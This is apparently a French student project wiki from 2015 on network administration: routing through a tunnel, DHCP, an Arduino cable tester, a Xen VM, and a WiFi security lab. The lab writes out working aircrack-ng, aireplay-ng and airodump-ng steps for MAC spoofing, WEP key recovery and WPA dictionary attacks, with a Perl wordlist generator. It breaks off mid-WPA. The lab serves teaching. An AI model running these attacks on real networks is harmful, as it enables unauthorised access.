On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24257</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24257"/>
				<updated>2015-12-10T09:51:28Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Réalisation du code pour les appareil Cisco */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
